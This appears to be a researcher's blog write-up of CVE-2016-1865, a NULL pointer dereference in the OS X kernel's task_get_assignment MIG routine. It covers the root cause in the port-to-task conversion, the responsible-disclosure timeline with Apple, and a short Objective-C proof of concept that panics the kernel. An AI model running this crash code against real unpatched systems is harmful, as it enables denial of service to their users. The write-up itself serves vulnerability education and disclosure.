After examining qwertyoruiop’s tpwn poc and presentation I was wondering if Apple totally understood the root cause of that bug and if there were other similar issues.

It turned out that yes, there were other bugs.

One of them I found, which had maybe some chances of being exploitable on OS X without SMAP, was patched in 10.11.4. In this post I will discuss one of the other unexploitable null pointers I disclosed to Apple after the 10.11.4 release, because surprisingly even after 2 very similar bugs fixed, Apple failed to eliminate all of them.

Those bugs can be pretty annoying, since they can at least panic the kernel from any context and sandbox.

Unfortunately on OS X, unlike other Operating Systems, kernel NULL pointers are still a problem if your machine doesn’t support SMAP, since the NULL page under certain circumtances can be mapped, and if the bug allows it (like Luca’s tpwn kernel NULL pointer), it can be exploited. Checkout Ian Beer’s issues in the Project Zero tracker for additional details.

MIG and IKOT_TASK:

Without going too much in details, since there are very good articles (from J Levin) onlines and books (the ones from Levin again and the one from Amit Singh), and as I mentioned, checkout Luca’s presentation. I will also take some shortcuts and use a more “free” language and try to explain the concepts instead of all the details, which you can eventually check in the code or in the mentioned references:

  • MIG is a OS X / iOS IPC “higher level facility” of interfaces built upon mach messages and mach ports used to communicate between tasks, including with the kernel.
  • MIG systems exports a well defined interface of methods you can remotely invoke.
  • Those methods have a signature and parameters types. Since only some “primitive” parameters are understood by the IPC system, some of them must be validated and converted. The root cause of the bug resides in this last statement.
  • What’s IKOT_TASK then? To understand this bug you just have to know that it’s a “type” of mach port. They are all mach ports but there are different flavors depending on what they represent. For example if you call mach_task_self() you get back a port of kind “task” if you call mach_thread_self() you get back a port of kind “thread”.

One of the bugs

Take a look at this simple kernel method, which you can invoke from userspace with MIG like we said:

/*
 *  task_get_assignment
 *
 *  Return name of processor set that task is assigned to.
 */
kern_return_t
task_get_assignment(
    task_t      task,
    processor_set_t *pset)
{
    if (!task->active)
        return(KERN_FAILURE);

    *pset = &pset0;

    return (KERN_SUCCESS);
}

Notice that the first parameter it’s of type task_t.

This type is not a “primitive” type, in a MIG sense, so it has to be converted. You can see this in the MIG interface definition file task.defs with this procedure:

/*
 *  Get current assignment for task.
 */
routine task_get_assignment(
        task        : task_t;
    out assigned_set    : processor_set_name_t);

task_t is defined in another mach_types.defs file with the conversion function to convert it from a mach_port_t:

type task_t = mach_port_t
#if  KERNEL_SERVER
    intran: task_t convert_port_to_task(mach_port_t)
    outtran: mach_port_t convert_task_to_port(task_t)
    destructor: task_deallocate(task_t)
#endif   /* KERNEL_SERVER */
    ;

So we have to check the “intran” (translator function from the mach_port_t received to a task_t) function convert_port_to_task(mach_port_t):

/*
 *  Routine:    convert_port_to_task
 *  Purpose:
 *      Convert from a port to a task.
 *      Doesn't consume the port ref; produces a task ref,
 *      which may be null.
 *  Conditions:
 *      Nothing locked.
 */
task_t
convert_port_to_task(
    ipc_port_t      port)
{
    task_t      task = TASK_NULL;

    if (IP_VALID(port)) {
        ip_lock(port);

        if (    ip_active(port)                 &&
                ip_kotype(port) == IKOT_TASK        ) {
            task = (task_t)port->ip_kobject;
            assert(task != TASK_NULL);

            task_reference_internal(task);
        }

        ip_unlock(port);
    }

    return (task);
}

As you can see this function can potentially return a NULL pointer (TASK_NULL) if the mach_port we pass to it it’s not of IKOT_TASK. Even the comment says it can return a NULL.

But read then again the task_get_assignment function. As you can see there is no check if the parameter is null or not, so if it’s null we will crash in a read access from NULL page at: if (!task->active).

The bug it’s totally useless, but anyway I wanted to share this writeup to show to you that sometimes when a bug is fixed, other very similar bugs are still present in the code and unfixed. And also offers a quick tour of the MIG interface to the kernel.

POC

// gcc -o nptr2 nptr2.m -framework Foundation

#import <Foundation/Foundation.h>
#import <mach/task.h>

void trigger_null_ptr_deref2() {
    printf("[i] triggering...\n");
    processor_set_name_t pset;
    kern_return_t kr = task_get_assignment(mach_thread_self(), &pset);
    printf("[i] trigger returned 0x%x\n", kr);
}

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        trigger_null_ptr_deref2();
    }
    return 0;
}

As you can see we pass to task_get_assignment a mach_thread_self() which is not IKOT_TASK, triggering the null pointer. The correct use (without the bug) of this API is to pass a mach_task_self() or another task port.

Timeline:

  • 2016/3/23 The issues are reported to Apple via email at product-security@apple.com with 90 days responsible disclosure policy.
  • 2016/5/27 Apple told me even if it’s not fixed in 10.11.5, the fix it’s scheduled for the next release, so holding public disclosure.
  • 2016/7/17 CVE-2016-1865 is assigned and the fix is pushed in 10.11.6

Take aways:

  • Sometimes vendors just fix the immediate problem and bug, and don’t investigate carefully about the root cause and search for additional bugs that share the same pattern.